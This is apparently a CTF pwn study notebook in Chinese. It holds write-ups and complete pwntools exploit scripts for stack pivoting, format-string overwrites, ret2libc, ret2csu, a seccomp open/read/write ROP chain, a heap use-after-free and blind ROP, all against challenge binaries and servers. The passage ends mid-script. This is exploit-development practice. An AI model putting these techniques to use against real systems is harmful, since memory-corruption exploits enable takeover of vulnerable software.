只收4字节,就刚好是pre_rbp

欸,好了,就这么个情况

栈迁移链条还是蛮明晰的,大差不差就这个链路

栈迁移,leave的艺术说是

为了面试,记得牢记其等价的汇编指令是

mov rsp , rbp

pop rbp

[HDCTF 2023]Minions

这题就稍微写细一点,还是蛮有意思的

key要102才能进两read,考虑怎么进read

格串,利用任意写特性改key值就好了

key在bss上,地址就是已知的,利用pwntools的fmtstr_payload能搞出来一个初步的fmt利用的pd

fmt = fmtstr_payload(6,{key:0x66})

运行一下看看实际的输入:b’%102c%8$llnaaaab\xa0\x10`\x00\x00\x00\x00\x00′

对位改改,就能打出个rbp地址出来

pd = b’%102c%8$lln%28$p’ + p64(key)

实际输入也就是:

b’%102c%8$lln%28$p\xa0\x10`\x00\x00\x00\x00\x00′

(还是很好一眼盯真的……吧)

你问我为什么是28?

格串自己测去吧()

(图里输入的30个%p,这里对位看到的rbp就是第28位)

好了,send之后完成rbp地址的接收,进入两次read的环节

好,第一次read写入的地址是buf

还是gdb测,这个感觉没必要多说了,看看exp里的测试注释应该就能理解个七七八八

然后,然后感觉就没多少好讲的了

第二次写入的位置是hdctf

也在bss段

那rop链路就异常明晰了

ret + rdi + /bin/sh的目标写入地址 + syscall

然后这个ljust填充一下,使其完成溢出

再接个rbp和leave就能实现我们的目标跳转

反正是第二次传入的时候写入/bin/sh到hdctf那去

写完就getshell

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./pwn")
# io = remote("node5.anna.nssctf.cn",21184)
elf = ELF("./pwn")

ret = 0x0000000000400581
pop_rdi = 0x0000000000400893
leave = 0x0000000000400758
key = 0x6010A0
syscall = 0x000000000400763

# 进两读阶段
io.recvuntil(b'you name?\n\n')
fmt = fmtstr_payload(6,{key:0x66})
pd = b'%102c%8$lln%28$p' + p64(key)
print(fmt)    #b'%102c%8$llnaaaab\xa0\x10`\x00\x00\x00\x00\x00'
print(pd)     #b'%102c%8$lln%28$p\xa0\x10`\x00\x00\x00\x00\x00'
# gdb
#gdb.attach(io)
io.send(pd)

#接收rbp地址
io.recvuntil(b'0x')
rbp = int(io.recv()[0:12],16)
rbp_a = hex(rbp)
success(rbp_a)

#找target_addr
# io.send(b'aaaa')
# [+] 0x7fff85963780
# pwndbg> search aaaa
# Searching for byte: b'aaaa'
# libc.so.6       0x7f303df89943 0x61616161 /* 'aaaa' */
# [stack]         0x7fff85963790 0x61616161 /* 'aaaa' */
# 0x7fff85963790 - 0x7fff85963780 = 0x10
target = rbp + 0x10
h_tar = hex(target)
success(h_tar)
offset = 0x30
hdctf = 0x0000000006010C0

rop = p64(ret) + p64(pop_rdi) + p64(hdctf) + p64(syscall)
pd2 = rop.ljust(offset, b'\x00')
pd2 += p64(target)
pd2 += p64(leave)

#gdb.attach(io)
io.send(pd2)
io.recvuntil(b"That's great.Do you like Minions?\n")
io.send(b'/bin/sh\x00')

io.interactive()

[HGAME 2023 week1]orw

┌──(kali㉿kali)-[~/桌面/NSS/[HGAME 2023 week1]orw]
└─$ seccomp-tools dump ./vuln
line CODE JT   JF     K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0004
0002: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL

大概也猜到怎么打了

orw构造rop链,看到标签是栈迁移

大概率应该有个数了

vuln里的read写不下

所以打个栈迁移

就这么个事

rop链往可以放的地方写,写个orw链子

然后,控制程序流迁移到rop链位置

结束

payload  = b'/flag\00\x00\x00'
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(open_addr)

payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(read_addr)

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(write_addr)

payload  = payload.ljust(0x100, b'\x00')
payload += p64(bss) + p64(leave)
io.send(payload)

1. open(“/flag”, 0)

要设置的寄存器:

寄存器解释
rdi文件名地址open 的第 1 个参数
rsi0open 的 flags 参数(只读)
b"/flag\x00\x00\x00"     # filename 字符串
pop_rdi; bss            # rdi = &"/flag"
pop_rsi; 0              # rsi = 0 (O_RDONLY)
open_addr               # 调用 open()

效果: open("/flag", 0) 系统将返回 fd=3(前 0,1,2 已占用)。

2. read(3, bss, 0x100)

要设置的寄存器:

寄存器解释
rdi3open 返回的文件描述符
rsibss存 flag 的缓冲区
rdx0x100read 读取的长度
pop_rdi; 3               # rdi = 3   (fd)
pop_rsi; bss             # rsi = buffer
pop_rdx; 0x100           # rdx = length
read_addr                # 调用 read()

效果: read(3, bss, 0x100) 将 flag 内容读到 bss 段。

3. write(1, bss, 0x100)

要设置的寄存器:

寄存器解释
rdi1标准输出
rsibssflag 的内容
rdx0x100输出长度
pop_rdi; 1               # rdi = stdout
pop_rsi; bss             # rsi = flag buffer
pop_rdx; 0x100           # rdx = length
write_addr               # 调用 write()

效果: write(1, bss, 0x100) 将 flag 输出到终端。

4. leave;ret(栈迁移)

之后 padding 到 0x100,然后:

payload += p64(bss) + p64(leave)

含义:

寄存器/操作解释
rsp = bss让栈指向 ROP 链所在位置
leave = mov rsp, rbp; pop rbp恢复栈帧,继续执行 ROP

构造的寄存器值对应效果如下:

函数rdirsirdx作用
open文件名地址0打开文件
read3bss0x100读取 flag
write1bss0x100输出 flag

exp:

from pwn import *
#context.log_level = 'debug'
io = process("./vuln")
# io = remote("node5.anna.nssctf.cn",24095)
elf = ELF("./vuln")
libc = ELF("./libc-2.31.so")

system = libc.symbols["system"]
ret = 0x000000000040101a
pop_rdi = 0x0000000000401393
leave = 0x00000000004012be
main = 0x0000000004012F0
# 泄漏libc基址
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pd1 = b'a'*(0x108) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#gdb
#gdb.attach(io)
io.sendline(pd1)
io.recvuntil(b'Maybe you can learn something about seccomp, before you try to solve this task.\n')
leak = io.recv()[0:6]
leak = leak.ljust(8,b'\x00')
leak = u64(leak)
h_leak = hex(leak)
success(f'puts addr = {h_leak}')
libc_base = leak - libc.symbols['puts']
h_base = hex(libc_base)
success(f'libc base = {h_base}')
# [+] puts addr = 0x70ef67573420
# [+] libc base = 0x70ef674ef000
# 0x70ef674ef000     0x70ef67511000 r--p   22000       0 libc-2.31.so
# 测试结果一致
# 布置orw
bss = 0x000000000404300
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
pop_rdx = libc_base + 0x0000000000142c92
pop_rsi = libc_base + 0x000000000002601f

gdb.attach(io)
over = b'a'*(0x100) + p64(bss+0x100) + p64(0x4012CF)
io.sendline(over)
pause()

payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss) + p64(leave)
io.send(payload)

io.interactive()

[HGAME 2022 week1]test your gdb

HGAME2022week1-test your gdb – OSLike’s Blog

from pwn import *

#io = process('./pwn')
io = remote("node5.anna.nssctf.cn",22319)

# gdb.attach(io, 'b *0x401378')

# pause()

backdoor = 0x401256
payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
io.recvuntil(b'word\n')
io.send(payload)
io.recv(0x18)
canary = u64(io.recv(8))
log.success("canary: " + (hex(canary)))

payload = b'a' * (0x20 - 0x08) + p64(canary) + p64(0) + p64(backdoor)
io.sendline(payload)
io.interactive()

[MoeCTF 2022]babyfmt

相当常规的格串劫持got表到后门函数

唯一抽象的点在于利用它输出的gift地址打不通

不理解为什么它gdb调试运行出来的后门函数地址都是对的

但是脚本运行收到的就是不对

奇了怪了

from pwn import *
context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
# io = remote("node5.anna.nssctf.cn",21351)

#io.recvuntil(b'gift:')
#backdoor = io.recv()[1:10]
backdoor = elf.symbols["backdoor"]
success(f"backdoor = :{backdoor}")

printf_got = elf.got["printf"]
pd = fmtstr_payload(11,{printf_got:backdoor})
io.send(pd)


io.interactive()

[HNCTF 2022 WEEK2]ret2csu

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = process("./ret2csu")
elf = ELF("./ret2csu")
# libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#这里是为了测本地,不必在意这个libc文件
# io = remote("node5.anna.nssctf.cn",27035)

ret = 0x000000000040101a
pop_rdi = 0x00000000004012b3
csu_addr = 0x0000000004012A6
mov_csu = 0x000000000401290
return_addr = 0x4011DC  #跳转回main函数为打ret2libc做准备
write_got = elf.got['write']

def csu(rsi,r15):
# write(fd,buf,n) = write(rdi,rsi,rdx)
pd = b'a'*(0x100 + 8)
pd += p64(csu_addr) + p64(3) #随便跟一个就好
pd += p64(0) #pop     rbx ,rbx要设置成0 因为有个call r15+rbx*8的汇编
pd += p64(1)
pd += p64(1) #pop rdi
pd += p64(rsi) # pop rsi
pd += p64(8) # 设置为8是因为write要写8字节的地址出来
pd += p64(r15)
pd += p64(mov_csu)
pd += b'a'*56 + p64(0x4011DC) #加56个字符是用来跳过csu的6个pop和最开始的 add rsp 8,(6+1) * 8 = 56
#   csu(1,   write_got, 8,   write_got, main_addr)
#def csu(r12, r13,       r14, r15,       last):
#def csu(rdi, rsi,       rdx, r15,       last)
gdb.attach(io)
io.sendline(pd)


csu(write_got,write_got)
io.recvuntil(b'Ok.\n')
write = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(write))
libc_base = write - libc.symbols['write']
print(hex(libc_base))
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload=b'a'*264+p64(pop_rdi)+p64(bin_sh_add)+p64(system_add)
io.recvuntil("Input:\n")

io.sendline(payload)
io.interactive()




[CISCN 2019华南]PWN4

被NSS骗金币了

好吧并不是

此题参考隔壁19年东南赛区的pwn2

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
#io = process("./pwn")
io = remote('node5.anna.nssctf.cn',22934)
elf = ELF("./pwn")

leave = 0x08048562
ret = 0x080483a6
system  = 0x8048559


pd = b'a'*(0x28)


io.send(pd)
io.recvuntil(b'a'*(0x28))

leak_ebp = u32(io.recv(4))
p = hex(leak_ebp)
log.success(f'leak ebp = {p}')

padding = 0x10
s = 0x28
target = leak_ebp - s - padding
h_target = hex(target)
log.success(f'target = {h_target}')

pd2 = p32(0)
pd2 += p32(ret)
pd2 += p32(system)
pd2 += p32(target + 0x4*4)
pd2 += b'/bin/sh\x00'
pd2 = pd2.ljust(0x28,b'a')
pd2 += p32(target)
pd2 += p32(leave)

# gdb.attach(io)
io.send(pd2)
io.interactive()

能很快的判断出来是做过的题目,这很好

但是打的时候总是忘这忘那

还是熟练度问题

还是得练

Polar

sandbox

$0提权

creeper

from pwn import *
io = remote("1.95.36.136",2095)

pd = b'a'*(0xf)
io.send(pd)
io.interactive()

简单溢出

from pwn import *
io = remote("1.95.36.136",2080)

offset = 0x30 + 8
sh = 0x000000000400596
ret = 0x0000000000400441
pd = b'a'*offset
pd += p64(ret)
pd += p64(sh)

io.sendline(pd)

io.interactive()

没人能拒绝猫猫

溢出覆盖内容,获取shell

from pwn import *
context.log_level = 'debug'
io = remote("1.95.36.136",2148)
# io = process("./pwn")
pd = b'a'*(32) +b'lovecat' + p64(0)
# gdb.attach(io)
io.sendline(pd)
io.interactive()

easypwn2

整数安全问题

就是要求传入负数但是不能有负号

常规

from pwn import *
context.log_level = 'debug'
io = process("./pwn")
#io = remote("1.95.36.136",2108)

pd = b'2147483648'
# gdb.attach(io)
io.sendline(pd)
io.interactive()

what’s your name

覆盖

from pwn import *
io = remote("1.95.36.136",2105)
# io = process("./pwn")

pd = b'aaaatznb'
io.send(pd)
io.interactive()

getshell

0xgame2025

好多,之后再来细分

# from pwn import *
# io = remote("nc1.ctfplus.cn",42686)
# ret = 0x000000000040101a
# backdoor = 0x4011F7
# payload = b'a'*(48+8) + p64(ret) + p64(backdoor)
# io.sendline(payload)
# io.interactive()

# from pwn import *
#
# context.log_level = 'debug'
# io = remote("nc1.ctfplus.cn", 33062)
#
# try:
#     # 处理初始提示信息
#     io.recvuntil(b"Kore wa shiren da!\n")
#
#     while True:
#         # 尝试接收题目行
#         try:
#             question = io.recvuntil(b"=", drop=True, timeout=1).decode().strip()
#         except:
#             # 无法接收新题目时,进入交互模式
#             print("No more questions, entering interactive mode...")
#             break
#
#         # 将乘法符号x替换为*
#         question = question.replace("x", "*")
#         # 计算结果
#         ans = int(eval(question))
#         # 发送答案,使用bytes类型避免警告
#         io.sendlineafter(b"?\n", str(ans).encode())
#         # 接收"Good work!"的反馈
#         io.recvuntil(b"Good work!\n")
#
# except Exception as e:
#     print(f"Error occurred: {e}")
#
# # 无论正常结束还是异常,都进入交互模式
# io.interactive()

# from pwn import *
# context.log_level = 'debug'
# io = remote('nc1.ctfplus.cn', 27397)
#
# # 1. 确认所有关键地址(从你的ROPgadget和反编译结果验证,均正确)
# sh = 0x000000000040201e          # "/bin/sh"字符串地址(必须存在,可通过objdump -s确认)
# call_system = 0x0000000000401195  # help函数中"call _system"的地址(直接复用现成的system调用)
# pop_rdi = 0x000000000040117e      # 正确的"pop rdi; ret" gadget(ROPgadget明确显示存在)
#
# # 2. 构造ROP链(偏移正确:32字节buf + 8字节rbp = 40字节填充)
# payload = (
#     b'a' * 40                  # 填充缓冲区到rbp,再覆盖rbp
#     + p64(pop_rdi)             # 执行后,栈顶的值会放入rdi(x86_64第一个参数寄存器)
#     + p64(sh)                  # 把"/bin/sh"地址压栈,供pop_rdi取出放入rdi
#     + p64(call_system)         # 调用system,此时rdi已指向"/bin/sh",直接获取shell
# )
#
# # 3. 按实际输出顺序接收(关键!先收help的输出,再收main的puts输出)
# io.recvuntil(b"Maybe you need this: sh\n")  # 第一步实际收到的是help的echo输出
# io.sendline(payload)
#
#
#
#
# # 5. 进入交互模式获取shell
# io.interactive()

from pwn import *

# 连接远程目标(本地测试时替换为:p = process("./pwn2"))
p = remote("nc1.ctfplus.cn", 28889)

# 关键固定地址(已通过调试确认,无需修改)
padding = b'A' * 56  # 48字节buf + 8字节rbp,覆盖至返回地址
pop_rdi = p64(0x000000000040119e)  # pop rdi; ret(传递system参数的核心gadget)
system_addr = p64(0x000000000040122B)  # main中call system@plt的地址
cmd_addr = p64(0x0000000000401202)  # 固定存储"$0"的地址(等价于/bin/sh)

# 构造ROP链:覆盖返回地址 → 传参 → 调用system
payload = padding + pop_rdi + cmd_addr + system_addr

# 发送payload(等待程序输出"Start your attack"后发送)
p.sendlineafter("Start your attack", payload)

# 交互获取shell(执行ls、cat flag等命令)
p.interactive()

lilpwn(我怎么自己都没记忆了……

Heap Pivoting

这个堆题目的核心是利用堆漏洞实现任意地址读写,最终通过ROP链读取flag。题目是静态编译的64位程序,开启了NX但未开启PIE,让我们能够利用固定地址进行攻击。

程序存在两个关键漏洞:

  1. UAF漏洞:释放堆块后指针未清零,可继续编辑
  2. 堆溢出:编辑功能未检查长度,可覆盖相邻堆块元数据

首先创建两个堆块,其中chunk1存放”flag”字符串备用。释放chunk0制造悬空指针,然后编辑它修改fd指针指向堆块列表(chunk_list)上方0x10字节处。这样再次分配chunk2时,就能控制堆块列表本身。

add(0)
add(1, "flag")  # 存储"flag"字符串
free(0)  # 制造UAF

# 修改fd指向堆块列表
chunk_list = 0x6CCD60
edit(0, p64(0) + p64(chunk_list - 0x10))
add(2)  # 此时chunk2控制堆块列表

通过修改堆块列表,将free_hook的地址放入堆块列表中。连续分配多个chunk2,在每次分配时在堆块内容中构造fake chunk,使其fd指向free_hook地址。这样就能通过编辑chunk0来修改free_hook的值。

# 设置堆块列表指向关键全局变量
edit(0, p64(0x6cc968) + p64(0) + p64(0x6ca858) * 2)

# 多次分配构造fake chunk指向free_hook
free_hook = 0x6CC5E8
for i in range(4):
   add(2, b'a' * 0xb8 + p64(free_hook) + p64(0x6cc640))

将free_hook覆盖为_dl_debug_printf函数地址。这个函数可以控制rdi打印任意地址内容。释放chunk1触发该函数调用,泄露栈地址。

# 覆盖free_hook为_dl_debug_printf
_dl_debug_printf = 0x474310
edit(0, p64(_dl_debug_printf))
free(1)  # 触发函数调用,泄露栈地址

# 计算返回地址位置
stack = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
return_addr = stack - 0x180

通过堆溢出将主函数返回地址覆盖为ROP链地址。构造的ROP链依次执行:

  1. 打开”flag”文件(系统调用号2)
  2. 读取文件内容到栈缓冲区
  3. 将内容输出到标准输出
# 覆盖返回地址
edit(2, b'a' * 0xb8 + p64(return_addr))

# 构造ORW ROP链
pop_rdi = 0x0000000000401a16
pop_rsi = 0x0000000000401b37
pop_rdx = 0x0000000000443136
pop_rax = 0x000000000041fc84
syscall_ret = 0x4678E5

pd = p64(pop_rdi) + p64(return_addr + 0xc8)  # "flag"字符串地址
pd += p64(pop_rsi) + p64(0)                 # 只读模式
pd += p64(pop_rax) + p64(2)                 # SYS_open
pd += p64(syscall_ret)

# 读取文件内容
pd += p64(pop_rdi) + p64(3)                 # 文件描述符
pd += p64(pop_rsi) + p64(return_addr + 0x500) # 缓冲区
pd += p64(pop_rdx) + p64(0x30)              # 长度
pd += p64(pop_rax) + p64(0)                 # SYS_read
pd += p64(syscall_ret)

# 输出到标准输出
pd += p64(pop_rdi) + p64(1)                 # stdout
pd += p64(pop_rsi) + p64(return_addr + 0x500)
pd += p64(pop_rdx) + p64(0x30)
pd += p64(pop_rax) + p64(1)                 # SYS_write
pd += p64(syscall_ret)
pd += b'flag\x00\x00\x00\x00'               # "flag"字符串

edit(0, pd)  # 写入ROP链

最终exp:

from pwn import *
context(log_level='debug')
elf = ELF('./pwn')
context.binary = elf
libc = elf.libc

DEBUG_ARGV = """
b *0x400C66
b *0x41E985
b *0x400C66
set glibc 2.23
"""




def lg(s):
   return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')


r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a, b: io.sendafter(a, b)
sl = lambda a: io.sendline(a)
sla = lambda a, b: io.sendlineafter(a, b)

io = remote("challenge.xinshi.fun",48639 )


def choice(idx):
   sla(b'choice:', str(idx))


def add(idx, content=b'aaaa'):
   choice(1)
   sla(b'idx:', str(idx))
   sa(b"say", content)


def free(idx):
   choice(2)
   sla(b'idx:', str(idx))


def edit(idx, content):
   choice(3)
   sla(b'idx:', str(idx))
   sa(b'context: ', content)


def exit_():
   choice(4)


add(0)
add(1, "flag")

free(0)

chunk_list = 0x6CCD60
edit(0, p64(0) + p64(chunk_list - 0x10))
add(2)

free_hook = 0x6CC5E8
edit(0, p64(0x6cc968) + p64(0) + p64(0x6ca858) * 2)

rdi = 0x6ccd68
for i in range(4):
   add(2, b'a' * 0xb8 + p64(free_hook) + p64(0x6cc640))

fopen64 = 0x46AC50
fputs = 0x463340
fxprintf = 0x40FE20
vfxprintf = 0x45F940
_dl_debug_printf = 0x474310
mmap = 0x440710
edit(0, p64(_dl_debug_printf))

free(1)

stack = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
lg("stack")
return_addr = stack - 0x180
lg("return_addr")

edit(2, b'a' * 0xb8 + p64(return_addr))

pop_rdi = 0x0000000000401a16
pop_rsi = 0x0000000000401b37
pop_rdx = 0x0000000000443136
pop_rax = 0x000000000041fc84
pop_rbp = 0x00000000004004d1
ret = 0x00000000004002e1
syscall_ret = 0x4678E5

pd = p64(pop_rdi) + p64(return_addr + 0xc8)
pd += p64(pop_rsi) + p64(0)
pd += p64(pop_rax) + p64(2)
pd += p64(syscall_ret)

pd += p64(pop_rdi) + p64(3)
pd += p64(pop_rsi) + p64(return_addr + 0x500)
pd += p64(pop_rdx) + p64(0x30)
pd += p64(pop_rax) + p64(0)
pd += p64(syscall_ret)

pd += p64(pop_rdi) + p64(1)
pd += p64(pop_rsi) + p64(return_addr + 0x500)
pd += p64(pop_rdx) + p64(0x30)
pd += p64(pop_rax) + p64(1)
pd += p64(syscall_ret)
pd += b'flag\x00\x00\x00\x00'

edit(0, pd)

io.interactive()

签到

64位ret2libc板子题

ROPgadget找pop rdi ,ret

然后偏移0x70

题目已经给了libc文件

exp:

from pwn import *


io = remote('challenge.xinshi.fun',49363)
# io=process("./pwn")
elf = ELF('./pwn')
libc= ELF('./libc.so.6')

ret_add = 0x000000000040101a
pop_rdi = 0x0000000000401176
main_add = 0x401178
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset= 0x70

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'name?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))



libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'name?', payload2)

io.interactive()

Ret2libc’s Revenge

64位

ROPgadget找不到pop rdi

只能另找代替

stdout设置为无缓冲,没办法直接泄露地址,只能通过溢出多次循环,把缓冲区填满,再填一个lea rdi,s的地址,然后就是ret2libc

循环次数通过手搓

puts(“Ret2libc’s Revenge”);会写进18个字符加一个换行符,就是19个

程序本身会执行一次puts

(214+1)*19 = 4085

而缓冲区为0x1000 = 4096

所以循环次数是214

from pwn import *

elf = ELF('./src/attachment')
context.binary = elf
libc = ELF("./src/libc6_2.35-0ubuntu3.9_amd64.so")

io=remote("39.106.48.123",35843)

and_rsi_0 = 0x4010E4
pop_rbp = 0x000000000040117d
gadget = 0x4010EB # add rsi, [rbp+20h];ret
mov_rdi_rsi = 0x401180

payload = b'a'*(0x220-4)+p32(0x220+8-3)
payload += p64(0x40128D)


for i in range(214):
   io.sendline(payload)

payload = b'a'*(0x220-4)+p32(0x220+8 - 3)

payload += p64(and_rsi_0)
payload += p64(pop_rbp) + p64(0x400600-0x20)
payload += p64(gadget)
payload += p64(mov_rdi_rsi)
payload += p64(elf.plt['puts'])
payload += p64(0x40128D)
io.sendline(payload)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols[b"puts"]


libc_system = libc_base + libc.symbols[b'system']
ret = 0x4011FE
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base +next(libc.search(asm("pop rdi; ret")))

payload = b'a'*(0x220-4)+p32(0x220+8 - 3)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(libc_system)
io.sendlineafter("Ret",payload)


io.interactive()

2025COCTF新生赛WP

typora-root-url: images

feichai系列题目:

Pwn入门指北

emmmm,直接看指北就好了

from pwn import *                                    # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。

# elf = ELF('../ctf_file/test')     # 加载 elf 文件。
# io = process(elf.path)           # 运行 elf 文件。
io = remote("",)                    # 与在线环境交互。

io.recvuntil("> ")                  # 循环等待,直到接收到提示符。
io.sendline("No pwn/re, no life!")  # 发送字符串。

io.interactive()                    # 进入交互模式。

终极黑客

考点只有一个命令

ls -a

可以看到flag前加了一个点,直接ls是看不到的

所以

cat .flag

就可以了

石头✊剪刀✌️布✋

可以看到程序加了一个随机数种子,但这并不是真正的随机,time(0)表示当前时间,返回时间戳,srand将其作为种子,以此使用rand()函数来生成随机数

所以,我们完全可以使用python的ctypes库来模拟这一行为,使得我们能推测所有的随机数

电脑猜拳逻辑

石头剪刀布胜利条件 需 return 1

exp:

from pwn import *                                   
from ctypes import *

libcc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libcc.srand.argtypes = [c_uint]
libcc.srand(libcc.time(0))

io = remote("ctf.ctbu.edu.cn",33134)            

for i in range(100):
   number = libcc.rand()
   if number % 3 == 0:
       io.sendlineafter("Paper):","2")
   if number % 3 == 1:
       io.sendlineafter("Paper):","0")
   if number % 3 == 2:
       io.sendlineafter("Paper):","1")

io.interactive()                  

黑盒测试

考点是BROP,通过测偏移并把附件dump下来,进而利用漏洞getshell的一道经典例题

通过程序测试,可以知道,输入短字符串和长字符串得到的结果是不一样的,结合题目所给提示,可以看到是没有canary的

Arch:       amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:         NX enabled
PIE:       No PIE (0x400000)

因此可以推断的是,有一个函数 (假设为main) 调用了一个函数 (假设为vuln) ,vuln函数中有输入函数,过长的字符串会溢出修改到返回地址进而无法正常输出 “Okay, bye!” ,可以推断出puts( “Okay, bye!”)是在main函数中的

为什么是puts函数? 因为编译器会自动优化输出函数

假设c语言程序中的输出函数如下

printf("abc\n");
puts("cde");

那么编译器会自动优化为,

puts("abc"); //puts自带一个换行符
puts("cde");

(当然也可能是write函数,write函数相对复杂一点,但还是可以做的,但是题目肯定是按简单的来对吧。。。)

而且也可以得到一个信息是,汇编代码大致如下

main:
...
call    vuln
   mov     edi, offset aOkayBye ; "Okay, bye!"
   call    _puts
  ...

所以,我们编写一个函数用于测试输入地址与返回地址的距离,测试输入的字符串的长度得多长才会覆盖到返回地址

def get_buffer_size():
for i in range(1,300):
payload = b'a'*i
buffer_size = len(payload)
try:
io = get_io()
io.send(payload)
io.recvuntil(b'Okay, bye!')
io.close()
log.info("bad: %d" % buffer_size)
except :
io.close()
log.info("buffer_size: %d" % (buffer_size-1))
return buffer_size-1

得到偏移136

下一步,构造payload,测试main函数大概的地址

我们知道的是,如果将返回地址修改为main函数的话,那么,程序并不会异常退出,而是会返回main函数,相当于重新执行一次程序,所以,通过爆破的方法,从基址0x400000处开始爆破,构造payload,设置addr从0x400000开始递增

payload = b'a' * buffer_size + p64(addr)

但是,如果你自己去编译一个demo程序来辅助判断偏移的话,可以极大的缩短爆破时间

因此,我选取的地址是0x400500,还有一个小细节是,start函数与main函数相比,start的地址更低一点,如果通过程序返回的字符串 “Welcome to the BROP challenge!” 来判断程序是否成功返回main函数的话,偏差会比较大,因为main函数是start函数调用的,执行到start函数同样是会返回main函数的,这样的话,main函数的返回地址就不好确定,输出函数如 call puts 的地址也不好确定

因此我这里选则”Okay, bye!” 来判断,并设置一个超时来防止程序卡在read函数里,这样的话,就能更精准的得到main函数的大概地址,即前面提到的

main:
...
call vuln
mov edi, offset aOkayBye ; "Okay, bye!"
call _puts
...

所以这一步的爆破函数为

def get_stop_addr(buffer_size):
addr = 0x400500
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr)
try:
io = get_io()
io.sendline(payload)
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("stop address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))

得到地址0x4006c4

下一步,寻找gadgets,这一步涉及到ret2csu的知识点,大致如下

__libc_csu_init 函数存在这么一段汇编代码

什么意思呢,就6个pop呗,这里面有什么呢

pop r15  ----->  "\x41\x5F"

pop rdi -----> "\x5F"

就是说,如果我们能测出这一段gadgets的地址,那么就相当于我们知道了pop_rdi的地址,从而可以设置puts的参数

如何测?相当于我们要让这一段gadgets可以正常执行,构造payload如下,如果程序成功执行了这一条payload,程序将输出 “Okay, bye!”

payload = b'a' * buffer_size + p64(addr) + p64(1)*6 + p64(stop_addr)

stop_addr地址就是上一个函数爆破的来的0x4006c4

addr从0x4006d0开始递增,为什么是0x4006d0?因为__libc_csu_init函数是在我们编写的函数后面的,也就是更高的地址,所以我们完全可以从0x4006c4的后面开始测试,所以就随便选了个0x4006d0

所以爆破gadgets的函数如下

def get_gadgets_addr(stop_addr, buffer_size):
addr = 0x4006d0
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr) + p64(1)*6
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("gadgets address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))

得到gadgets的地址为0x40075a

那么 pop rdi 的地址就等于 0x40075a + 9,pop rdi 的地址知道了接下来就是测试call puts的真正地址了

对于前面的汇编代码,我们更多的只是推测,要想得到call puts 的真正地址,还需要构造特定输出,我们知道,elf文件开头的四个字节必然是 “\x7fELF”

我们还知道可以调用到puts( “Okay, bye!”)的地址为0x4006c4,因此,我们可以从0x4006c4开始测试,构造payload

payload = b'a' * buffer_size + p64(gadget_addr + 9) + p64(0x400000) + p64(addr)

addr从0x4006c4开始递增,如果addr为call puts的地址,那么程序会输出”\x7fELF”

故爆破函数如下,这一步是最快的

def get_puts_call_addr(buffer_size, gadget_addr):
addr = 0x4006c4
while True:
addr += 1
payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(0x400000)
payload += p64(addr)
try:
p = get_io()
